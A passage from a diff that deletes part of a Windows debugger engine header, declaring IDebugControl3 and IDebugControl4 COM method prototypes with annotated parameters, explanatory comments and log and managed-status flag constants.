- THIS_
- __out PULONG Type
- ) PURE;
- STDMETHOD(SetEffectiveProcessorType)(
- THIS_
- __in ULONG Type
- ) PURE;
-
- // Returns information about whether and how
- // the debuggee is running. Status will
- // be GO if the debuggee is running and
- // BREAK if it isnt.
- // If no debuggee exists the status is
- // NO_DEBUGGEE.
- // This method is reentrant.
- STDMETHOD(GetExecutionStatus)(
- THIS_
- __out PULONG Status
- ) PURE;
- // Changes the execution status of the
- // engine from stopped to running.
- // Status must be one of the go or step
- // status values.
- STDMETHOD(SetExecutionStatus)(
- THIS_
- __in ULONG Status
- ) PURE;
-
- // Controls what code interpretation level the debugger
- // runs at. The debugger checks the code level when
- // deciding whether to step by a source line or
- // assembly instruction along with other related operations.
- STDMETHOD(GetCodeLevel)(
- THIS_
- __out PULONG Level
- ) PURE;
- STDMETHOD(SetCodeLevel)(
- THIS_
- __in ULONG Level
- ) PURE;
-
- // Gets and sets engine control flags.
- // These methods are reentrant.
- STDMETHOD(GetEngineOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Gets and sets control values for
- // handling system error events.
- // If the system error level is less
- // than or equal to the given levels
- // the error may be displayed and
- // the default break for the event
- // may be set.
- STDMETHOD(GetSystemErrorControl)(
- THIS_
- __out PULONG OutputLevel,
- __out PULONG BreakLevel
- ) PURE;
- STDMETHOD(SetSystemErrorControl)(
- THIS_
- __in ULONG OutputLevel,
- __in ULONG BreakLevel
- ) PURE;
-
- // The command processor supports simple
- // string replacement macros in Evaluate and
- // Execute. There are currently ten macro
- // slots available. Slots 0-9 map to
- // the command invocations $u0-$u9.
- STDMETHOD(GetTextMacro)(
- THIS_
- __in ULONG Slot,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG MacroSize
- ) PURE;
- STDMETHOD(SetTextMacro)(
- THIS_
- __in ULONG Slot,
- __in PCSTR Macro
- ) PURE;
-
- // Controls the default number radix used
- // in expressions and commands.
- STDMETHOD(GetRadix)(
- THIS_
- __out PULONG Radix
- ) PURE;
- STDMETHOD(SetRadix)(
- THIS_
- __in ULONG Radix
- ) PURE;
-
- // Evaluates the given expression string and
- // returns the resulting value.
- // If DesiredType is DEBUG_VALUE_INVALID then
- // the natural type is used.
- // RemainderIndex, if provided, is set to the index
- // of the first character in the input string that was
- // not used when evaluating the expression.
- STDMETHOD(Evaluate)(
- THIS_
- __in PCSTR Expression,
- __in ULONG DesiredType,
- __out PDEBUG_VALUE Value,
- __out_opt PULONG RemainderIndex
- ) PURE;
- // Attempts to convert the input value to a value
- // of the requested type in the output value.
- // Conversions can fail if no conversion exists.
- // Successful conversions may be lossy.
- STDMETHOD(CoerceValue)(
- THIS_
- __in PDEBUG_VALUE In,
- __in ULONG OutType,
- __out PDEBUG_VALUE Out
- ) PURE;
- STDMETHOD(CoerceValues)(
- THIS_
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_VALUE In,
- __in_ecount(Count) PULONG OutTypes,
- __out_ecount(Count) PDEBUG_VALUE Out
- ) PURE;
-
- // Executes the given command string.
- // If the string has multiple commands
- // Execute will not return until all
- // of them have been executed. If this
- // requires waiting for the debuggee to
- // execute an internal wait will be done
- // so Execute can take an arbitrary amount
- // of time.
- STDMETHOD(Execute)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR Command,
- __in ULONG Flags
- ) PURE;
- // Executes the given command file by
- // reading a line at a time and processing
- // it with Execute.
- STDMETHOD(ExecuteCommandFile)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR CommandFile,
- __in ULONG Flags
- ) PURE;
-
- // Breakpoint interfaces are described
- // elsewhere in this section.
- STDMETHOD(GetNumberBreakpoints)(
- THIS_
- __out PULONG Number
- ) PURE;
- // It is possible for this retrieval function to
- // fail even with an index within the number of
- // existing breakpoints if the breakpoint is
- // a private breakpoint.
- STDMETHOD(GetBreakpointByIndex)(
- THIS_
- __in ULONG Index,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- STDMETHOD(GetBreakpointById)(
- THIS_
- __in ULONG Id,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- // If Ids is non-NULL the Count breakpoints
- // referred to in the Ids array are returned,
- // otherwise breakpoints from index Start to
- // Start + Count 1 are returned.
- STDMETHOD(GetBreakpointParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Ids,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params
- ) PURE;
- // Breakpoints are created empty and disabled.
- // When their parameters have been set they
- // should be enabled by setting the ENABLE flag.
- // If DesiredId is DEBUG_ANY_ID then the
- // engine picks an unused ID. If DesiredId
- // is any other number the engine attempts
- // to use the given ID for the breakpoint.
- // If another breakpoint exists with that ID
- // the call will fail.
- STDMETHOD(AddBreakpoint)(
- THIS_
- __in ULONG Type,
- __in ULONG DesiredId,
- __out PDEBUG_BREAKPOINT* Bp
- ) PURE;
- // Breakpoint interface is invalid after this call.
- STDMETHOD(RemoveBreakpoint)(
- THIS_
- __in PDEBUG_BREAKPOINT Bp
- ) PURE;
-
- // Control and use extension DLLs.
- STDMETHOD(AddExtension)(
- THIS_
- __in PCSTR Path,
- __in ULONG Flags,
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(RemoveExtension)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
- STDMETHOD(GetExtensionByPath)(
- THIS_
- __in PCSTR Path,
- __out PULONG64 Handle
- ) PURE;
- // If Handle is zero the extension
- // chain is walked searching for the
- // function.
- STDMETHOD(CallExtension)(
- THIS_
- __in ULONG64 Handle,
- __in PCSTR Function,
- __in_opt PCSTR Arguments
- ) PURE;
- // GetExtensionFunction works like
- // GetProcAddress on extension DLLs
- // to allow raw function-call-level
- // interaction with extension DLLs.
- // Such functions do not need to
- // follow the standard extension prototype
- // if they are not going to be called
- // through the text extension interface.
- // This function cannot be called remotely.
- STDMETHOD(GetExtensionFunction)(
- THIS_
- __in ULONG64 Handle,
- __in PCSTR FuncName,
- __out FARPROC* Function
- ) PURE;
- // These methods return alternate
- // extension interfaces in order to allow
- // interface-style extension DLLs to mix in
- // older extension calls.
- // Structure sizes must be initialized before
- // the call.
- // These methods cannot be called remotely.
- STDMETHOD(GetWindbgExtensionApis32)(
- THIS_
- __inout PWINDBG_EXTENSION_APIS32 Api
- ) PURE;
- STDMETHOD(GetWindbgExtensionApis64)(
- THIS_
- __inout PWINDBG_EXTENSION_APIS64 Api
- ) PURE;
-
- // The engine provides a simple mechanism
- // to filter common events. Arbitrarily complicated
- // filtering can be done by registering event callbacks
- // but simple event filtering only requires
- // setting the options of one of the predefined
- // event filters.
- // Simple event filters are either for specific
- // events and therefore have an enumerant or
- // they are for an exception and are based on
- // the exceptions code. Exception filters
- // are further divided into exceptions specially
- // handled by the engine, which is a fixed set,
- // and arbitrary exceptions.
- // All three groups of filters are indexed together
- // with the specific filters first, then the specific
- // exception filters and finally the arbitrary
- // exception filters.
- // The first specific exception is the default
- // exception. If an exception event occurs for
- // an exception without settings the default
- // exception settings are used.
- STDMETHOD(GetNumberEventFilters)(
- THIS_
- __out PULONG SpecificEvents,
- __out PULONG SpecificExceptions,
- __out PULONG ArbitraryExceptions
- ) PURE;
- // Some filters have descriptive text associated with them.
- STDMETHOD(GetEventFilterText)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
- // All filters support executing a command when the
- // event occurs.
- STDMETHOD(GetEventFilterCommand)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetEventFilterCommand)(
- THIS_
- __in ULONG Index,
- __in PCSTR Command
- ) PURE;
- STDMETHOD(GetSpecificFilterParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params
- ) PURE;
- STDMETHOD(SetSpecificFilterParameters)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params
- ) PURE;
- // Some specific filters have arguments to further
- // qualify their operation.
- STDMETHOD(GetSpecificFilterArgument)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG ArgumentSize
- ) PURE;
- STDMETHOD(SetSpecificFilterArgument)(
- THIS_
- __in ULONG Index,
- __in PCSTR Argument
- ) PURE;
- // If Codes is non-NULL Start is ignored.
- STDMETHOD(GetExceptionFilterParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Codes,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params
- ) PURE;
- // The codes in the parameter data control the application
- // of the parameter data. If a code is not already in
- // the set of filters it is added. If the ExecutionOption
- // for a code is REMOVE then the filter is removed.
- // Specific exception filters cannot be removed.
- STDMETHOD(SetExceptionFilterParameters)(
- THIS_
- __in ULONG Count,
- __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params
- ) PURE;
- // Exception filters support an additional command for
- // second-chance events.
- STDMETHOD(GetExceptionFilterSecondCommand)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG CommandSize
- ) PURE;
- STDMETHOD(SetExceptionFilterSecondCommand)(
- THIS_
- __in ULONG Index,
- __in PCSTR Command
- ) PURE;
-
- // Yields processing to the engine until
- // an event occurs. This method may
- // only be called by the thread that started
- // the debug session.
- // When an event occurs the engine carries
- // out all event processing such as calling
- // callbacks.
- // If the callbacks indicate that execution should
- // break the wait will return, otherwise it
- // goes back to waiting for a new event.
- // If the timeout expires, S_FALSE is returned.
- // The timeout is not currently supported for
- // kernel debugging.
- STDMETHOD(WaitForEvent)(
- THIS_
- __in ULONG Flags,
- __in ULONG Timeout
- ) PURE;
-
- // Retrieves information about the last event that occurred.
- // EventType is one of the event callback mask bits.
- // ExtraInformation contains additional event-specific
- // information. Not all events have additional information.
- STDMETHOD(GetLastEventInformation)(
- THIS_
- __out PULONG Type,
- __out PULONG ProcessId,
- __out PULONG ThreadId,
- __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,
- __in ULONG ExtraInformationSize,
- __out_opt PULONG ExtraInformationUsed,
- __out_ecount_opt(DescriptionSize) PSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG DescriptionUsed
- ) PURE;
-
- // IDebugControl2.
-
- STDMETHOD(GetCurrentTimeDate)(
- THIS_
- __out PULONG TimeDate
- ) PURE;
- // Retrieves the number of seconds since the
- // machine started running.
- STDMETHOD(GetCurrentSystemUpTime)(
- THIS_
- __out PULONG UpTime
- ) PURE;
-
- // If the current session is a dump session,
- // retrieves any extended format information.
- STDMETHOD(GetDumpFormatFlags)(
- THIS_
- __out PULONG FormatFlags
- ) PURE;
-
- // The debugger has been enhanced to allow
- // arbitrary text replacements in addition
- // to the simple $u0-$u9 text macros.
- // Text replacement takes a given source
- // text in commands and converts it to the
- // given destination text. Replacements
- // are named by their source text so that
- // only one replacement for a source text
- // string can exist.
- STDMETHOD(GetNumberTextReplacements)(
- THIS_
- __out PULONG NumRepl
- ) PURE;
- // If SrcText is non-NULL the replacement
- // is looked up by source text, otherwise
- // Index is used to get the Nth replacement.
- STDMETHOD(GetTextReplacement)(
- THIS_
- __in_opt PCSTR SrcText,
- __in ULONG Index,
- __out_ecount_opt(SrcBufferSize) PSTR SrcBuffer,
- __in ULONG SrcBufferSize,
- __out_opt PULONG SrcSize,
- __out_ecount_opt(DstBufferSize) PSTR DstBuffer,
- __in ULONG DstBufferSize,
- __out_opt PULONG DstSize
- ) PURE;
- // Setting the destination text to
- // NULL removes the alias.
- STDMETHOD(SetTextReplacement)(
- THIS_
- __in PCSTR SrcText,
- __in_opt PCSTR DstText
- ) PURE;
- STDMETHOD(RemoveTextReplacements)(
- THIS
- ) PURE;
- // Outputs the complete list of current
- // replacements.
- STDMETHOD(OutputTextReplacements)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags
- ) PURE;
-
- // IDebugControl3.
-
- // Control options for assembly and disassembly.
- STDMETHOD(GetAssemblyOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddAssemblyOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveAssemblyOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetAssemblyOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Control the expression syntax.
- STDMETHOD(GetExpressionSyntax)(
- THIS_
- __out PULONG Flags
- ) PURE;
- STDMETHOD(SetExpressionSyntax)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Look up a syntax by its abbreviated
- // name and set it.
- STDMETHOD(SetExpressionSyntaxByName)(
- THIS_
- __in PCSTR AbbrevName
- ) PURE;
- STDMETHOD(GetNumberExpressionSyntaxes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetExpressionSyntaxNames)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,
- __in ULONG FullNameBufferSize,
- __out_opt PULONG FullNameSize,
- __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,
- __in ULONG AbbrevNameBufferSize,
- __out_opt PULONG AbbrevNameSize
- ) PURE;
-
- //
- // Some debug sessions have only a single
- // possible event, such as a snapshot dump
- // file; some have dynamic events, such as
- // a live debug session; and others may have
- // multiple events, such as a dump file that
- // contains snapshots from different points
- // in time. The following methods allow
- // discovery and selection of the available
- // events for a session.
- // Sessions with one or more static events
- // will be able to report all of the events
- // when queried. Sessions with dynamic events
- // will only report a single event representing
- // the current event.
- // Switching events constitutes execution and
- // changing the current event will alter the
- // execution status to a running state, after
- // which WaitForEvent must be used to process
- // the selected event.
- //
-
- // GetNumberEvents returns S_OK if this is the
- // complete set of events possible, such as for
- // a static session; or S_FALSE if other events
- // may be possible, such as for a dynamic session.
- STDMETHOD(GetNumberEvents)(
- THIS_
- __out PULONG Events
- ) PURE;
- // Sessions may have descriptive information for
- // the various events available. The amount of
- // information varies according to the specific
- // session and data.
- STDMETHOD(GetEventIndexDescription)(
- THIS_
- __in ULONG Index,
- __in ULONG Which,
- __in_opt PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DescSize
- ) PURE;
- STDMETHOD(GetCurrentEventIndex)(
- THIS_
- __out PULONG Index
- ) PURE;
- // SetNextEventIndex works like seek in that
- // it can set an absolute or relative index.
- // SetNextEventIndex works similarly to SetExecutionStatus
- // by putting the session into a running state, after
- // which the caller must call WaitForEvent. The
- // current event index only changes when WaitForEvent
- // is called.
- STDMETHOD(SetNextEventIndex)(
- THIS_
- __in ULONG Relation,
- __in ULONG Value,
- __out PULONG NextIndex
- ) PURE;
-};
-
-//
-// Log file flags.
-//
-
-#define DEBUG_LOG_DEFAULT 0x00000000
-#define DEBUG_LOG_APPEND 0x00000001
-#define DEBUG_LOG_UNICODE 0x00000002
-#define DEBUG_LOG_DML 0x00000004
-
-//
-// System version strings.
-//
-
-#define DEBUG_SYSVERSTR_SERVICE_PACK 0x00000000
-#define DEBUG_SYSVERSTR_BUILD 0x00000001
-
-//
-// GetManagedStatus flags and strings.
-//
-
-#define DEBUG_MANAGED_DISABLED 0x00000000
-#define DEBUG_MANAGED_ALLOWED 0x00000001
-#define DEBUG_MANAGED_DLL_LOADED 0x00000002
-
-#define DEBUG_MANSTR_NONE 0x00000000
-#define DEBUG_MANSTR_LOADED_SUPPORT_DLL 0x00000001
-#define DEBUG_MANSTR_LOAD_STATUS 0x00000002
-
-//
-// ResetManagedStatus flags.
-//
-
-// Reset state to default engine startup state with
-// no support loaded.
-#define DEBUG_MANRESET_DEFAULT 0x00000000
-// Force managed support DLL load attempt.
-#define DEBUG_MANRESET_LOAD_DLL 0x00000001
-
-#undef INTERFACE
-#define INTERFACE IDebugControl4
-DECLARE_INTERFACE_(IDebugControl4, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugControl.
-
- // Checks for a user interrupt, such a Ctrl-C
- // or stop button.
- // This method is reentrant.
- STDMETHOD(GetInterrupt)(
- THIS
- ) PURE;
- // Registers a user interrupt.
- // This method is reentrant.
- STDMETHOD(SetInterrupt)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // Interrupting a user-mode process requires
- // access to some system resources that the
- // process may hold itself, preventing the
- // interrupt from occurring. The engine
- // will time-out pending interrupt requests
- // and simulate an interrupt if necessary.
- // These methods control the interrupt timeout.
- STDMETHOD(GetInterruptTimeout)(
- THIS_
- __out PULONG Seconds
- ) PURE;
- STDMETHOD(SetInterruptTimeout)(
- THIS_
- __in ULONG Seconds
- ) PURE;
-
- STDMETHOD(GetLogFile)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG FileSize,
- __out PBOOL Append
- ) PURE;
- // Opens a log file which collects all
- // output. Output from every client except
- // those that explicitly disable logging
- // goes into the log.
- // Opening a log file closes any log file
- // already open.
- STDMETHOD(OpenLogFile)(
- THIS_
- __in PCSTR File,
- __in BOOL Append
- ) PURE;
- STDMETHOD(CloseLogFile)(
- THIS
- ) PURE;
- // Controls what output is logged.
- STDMETHOD(GetLogMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetLogMask)(
- THIS_
- __in ULONG Mask
- ) PURE;
-
- // Input requests input from all clients.
- // The first input that is returned is used
- // to satisfy the call. Other returned
- // input is discarded.
- STDMETHOD(Input)(
- THIS_
- __out_ecount(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InputSize
- ) PURE;
- // This method is used by clients to return
- // input when it is available. It will
- // return S_OK if the input is used to
- // satisfy an Input call and S_FALSE if
- // the input is ignored.
- // This method is reentrant.
- STDMETHOD(ReturnInput)(
- THIS_
- __in PCSTR Buffer
- ) PURE;
-
- // Sends output through clients
- // output callbacks if the mask is allowed
- // by the current output control mask and
- // according to the output distribution
- // settings.
- STDMETHODV(Output)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputVaList)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Format,
- __in va_list Args
- ) PURE;
- // The following methods allow direct control
- // over the distribution of the given output
- // for situations where something other than
- // the default is desired. These methods require
- // extra work in the engine so they should
- // only be used when necessary.
- STDMETHODV(ControlledOutput)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(ControlledOutputVaList)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Mask,
- __in PCSTR Format,
- __in va_list Args
- ) PURE;
-
- // Displays the standard command-line prompt
- // followed by the given output. If Format
- // is NULL no additional output is produced.
- // Output is produced under the
- // DEBUG_OUTPUT_PROMPT mask.
- // This method only outputs the prompt; it
- // does not get input.
- STDMETHODV(OutputPrompt)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCSTR Format,
- ...
- ) PURE;
- STDMETHOD(OutputPromptVaList)(
- THIS_
- __in ULONG OutputControl,
- __in_opt PCSTR Format,
- __in va_list Args
- ) PURE;
- // Gets the text that would be displayed by OutputPrompt.
- STDMETHOD(GetPromptText)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TextSize
- ) PURE;
- // Outputs information about the current
- // debuggee state such as a register
- // summary, disassembly at the current PC,
- // closest symbol and others.
- // Uses the line prefix.
- STDMETHOD(OutputCurrentState)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags
- ) PURE;
-
- // Outputs the debugger and extension version
- // information. This method is reentrant.
- // Uses the line prefix.
- STDMETHOD(OutputVersionInformation)(
- THIS_
- __in ULONG OutputControl
- ) PURE;
-
- // In user-mode debugging sessions the
- // engine will set an event when
- // exceptions are continued. This can
- // be used to synchronize other processes
- // with the debuggers handling of events.
- // For example, this is used to support
- // the e argument to ntsd.
- STDMETHOD(GetNotifyEventHandle)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(SetNotifyEventHandle)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-
- STDMETHOD(Assemble)(
- THIS_
- __in ULONG64 Offset,
- __in PCSTR Instr,
- __out PULONG64 EndOffset
- ) PURE;
- STDMETHOD(Disassemble)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DisassemblySize,
- __out PULONG64 EndOffset
- ) PURE;
- // Returns the value of the effective address
- // computed for the last Disassemble, if there
- // was one.
- STDMETHOD(GetDisassembleEffectiveOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // Uses the line prefix if necessary.
- STDMETHOD(OutputDisassembly)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out PULONG64 EndOffset
- ) PURE;
- // Produces multiple lines of disassembly output.
- // There will be PreviousLines of disassembly before
- // the given offset if a valid disassembly exists.
- // In all, there will be TotalLines of output produced.
- // The first and last line offsets are returned
- // specially and all lines offsets can be retrieved
- // through LineOffsets. LineOffsets will contain
- // offsets for each line where disassembly started.
- // When disassembly of a single instruction takes
- // multiple lines the initial offset will be followed
- // by DEBUG_INVALID_OFFSET.
- // Uses the line prefix.
- STDMETHOD(OutputDisassemblyLines)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG PreviousLines,
- __in ULONG TotalLines,
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_opt PULONG OffsetLine,
- __out_opt PULONG64 StartOffset,
- __out_opt PULONG64 EndOffset,
- __out_ecount_opt(TotalLines) PULONG64 LineOffsets
- ) PURE;
- // Returns the offset of the start of
- // the instruction thats the given
- // delta away from the instruction
- // at the initial offset.
- // This routine does not check for
- // validity of the instruction or
- // the memory containing it.
- STDMETHOD(GetNearInstruction)(
- THIS_
- __in ULONG64 Offset,
- __in LONG Delta,
- __out PULONG64 NearOffset
- ) PURE;
-
- // Offsets can be passed in as zero to use the current
- // thread state.
- STDMETHOD(GetStackTrace)(
- THIS_
- __in ULONG64 FrameOffset,
- __in ULONG64 StackOffset,
- __in ULONG64 InstructionOffset,
- __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __out_opt PULONG FramesFilled
- ) PURE;
- // Does a simple stack trace to determine
- // what the current return address is.
- STDMETHOD(GetReturnOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- // If Frames is NULL OutputStackTrace will
- // use GetStackTrace to get FramesSize frames
- // and then output them. The current register
- // values for frame, stack and instruction offsets
- // are used.
- // Uses the line prefix.
- STDMETHOD(OutputStackTrace)(
- THIS_
- __in ULONG OutputControl,
- __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,
- __in ULONG FramesSize,
- __in ULONG Flags
- ) PURE;
-
- // Returns information about the debuggee such
- // as user vs. kernel, dump vs. live, etc.
- STDMETHOD(GetDebuggeeType)(
- THIS_
- __out PULONG Class,
- __out PULONG Qualifier
- ) PURE;
- // Returns the type of physical processors in
- // the machine.
- // Returns one of the IMAGE_FILE_MACHINE values.
- STDMETHOD(GetActualProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- // Returns the type of processor used in the
- // current processor context.
- STDMETHOD(GetExecutingProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- // Query all the possible processor types that
- // may be encountered during this debug session.
- STDMETHOD(GetNumberPossibleExecutingProcessorTypes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetPossibleExecutingProcessorTypes)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Types
- ) PURE;
- // Get the number of actual processors in
- // the machine.
- STDMETHOD(GetNumberProcessors)(
- THIS_
- __out PULONG Number
- ) PURE;
- // PlatformId is one of the VER_PLATFORM values.
- // Major and minor are as given in the NT
- // kernel debugger protocol.
- // ServicePackString and ServicePackNumber indicate the
- // system service pack level. ServicePackNumber is not
- // available in some sessions where the service pack level
- // is only expressed as a string. The service pack information
- // will be empty if the system does not have a service pack
- // applied.
- // The build string is string information identifying the
- // particular build of the system. The build string is
- // empty if the system has no particular identifying
- // information.
- STDMETHOD(GetSystemVersion)(
- THIS_
- __out PULONG PlatformId,
- __out PULONG Major,
- __out PULONG Minor,
- __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString,
- __in ULONG ServicePackStringSize,
- __out_opt PULONG ServicePackStringUsed,
- __out PULONG ServicePackNumber,
- __out_ecount_opt(BuildStringSize) PSTR BuildString,
- __in ULONG BuildStringSize,
- __out_opt PULONG BuildStringUsed
- ) PURE;
- // Returns the page size for the currently executing
- // processor context. The page size may vary between
- // processor types.
- STDMETHOD(GetPageSize)(
- THIS_
- __out PULONG Size
- ) PURE;
- // Returns S_OK if the current processor context uses
- // 64-bit addresses, otherwise S_FALSE.
- STDMETHOD(IsPointer64Bit)(
- THIS
- ) PURE;
- // Reads the bugcheck data area and returns the
- // current contents. This method only works
- // in kernel debugging sessions.
- STDMETHOD(ReadBugCheckData)(
- THIS_
- __out PULONG Code,
- __out PULONG64 Arg1,
- __out PULONG64 Arg2,
- __out PULONG64 Arg3,
- __out PULONG64 Arg4
- ) PURE;
-
- // Query all the processor types supported by
- // the engine. This is a complete list and is
- // not related to the machine running the engine
- // or the debuggee.
- STDMETHOD(GetNumberSupportedProcessorTypes)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetSupportedProcessorTypes)(
- THIS_
- __in ULONG Start,
- __in ULONG Count,
- __out_ecount(Count) PULONG Types
- ) PURE;
- // Returns a full, descriptive name and an
- // abbreviated name for a processor type.
- STDMETHOD(GetProcessorTypeNames)(
- THIS_
- __in ULONG Type,
- __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,
- __in ULONG FullNameBufferSize,
- __out_opt PULONG FullNameSize,
- __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,
- __in ULONG AbbrevNameBufferSize,
- __out_opt PULONG AbbrevNameSize
- ) PURE;
-
- // Gets and sets the type of processor to
- // use when doing things like setting
- // breakpoints, accessing registers,
- // getting stack traces and so on.
- STDMETHOD(GetEffectiveProcessorType)(
- THIS_
- __out PULONG Type
- ) PURE;
- STDMETHOD(SetEffectiveProcessorType)(
- THIS_
- __in ULONG Type
- ) PURE;
-
- // Returns information about whether and how
- // the debuggee is running. Status will
- // be GO if the debuggee is running and
- // BREAK if it isnt.
- // If no debuggee exists the status is
- // NO_DEBUGGEE.
- // This method is reentrant.
- STDMETHOD(GetExecutionStatus)(
- THIS_
- __out PULONG Status
- ) PURE;
- // Changes the execution status of the
- // engine from stopped to running.
- // Status must be one of the go or step
- // status values.
- STDMETHOD(SetExecutionStatus)(
- THIS_
- __in ULONG Status
- ) PURE;
-
- // Controls what code interpretation level the debugger
- // runs at. The debugger checks the code level when
- // deciding whether to step by a source line or
- // assembly instruction along with other related operations.
- STDMETHOD(GetCodeLevel)(
- THIS_
- __out PULONG Level
- ) PURE;
- STDMETHOD(SetCodeLevel)(
- THIS_
- __in ULONG Level
- ) PURE;
-
- // Gets and sets engine control flags.
- // These methods are reentrant.
- STDMETHOD(GetEngineOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetEngineOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Gets and sets control values for
- // handling system error events.
- // If the system error level is less
- // than or equal to the given levels
- // the error may be displayed and
- // the default break for the event
- // may be set.
- STDMETHOD(GetSystemErrorControl)(
- THIS_
- __out PULONG OutputLevel,
- __out PULONG BreakLevel
- ) PURE;
- STDMETHOD(SetSystemErrorControl)(
- THIS_
- __in ULONG OutputLevel,
- __in ULONG BreakLevel
- ) PURE;
-
- // The command processor supports simple
- // string replacement macros in Evaluate and
- // Execute. There are currently ten macro
- // slots available. Slots 0-9 map to
- // the command invocations $u0-$u9.
- STDMETHOD(GetTextMacro)(
- THIS_
- __in ULONG Slot,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG MacroSize
- ) PURE;
- STDMETHOD(SetTextMacro)(
- THIS_
- __in ULONG Slot,
- __in PCSTR Macro
- ) PURE;
-
- // Controls the default number radix used
- // in expressions and commands.
- STDMETHOD(GetRadix)(
- THIS_
- __out PULONG Radix
- ) PURE;
- STDMETHOD(SetRadix)(
- THIS_
- __in ULONG Radix
- ) PURE;
-
- // Evaluates the given expression string and
- // returns the resulting value.
- // If DesiredType is DEBUG_VALUE_INVALID then
- // the natural type is used.
- // RemainderIndex, if provided, is set to the index
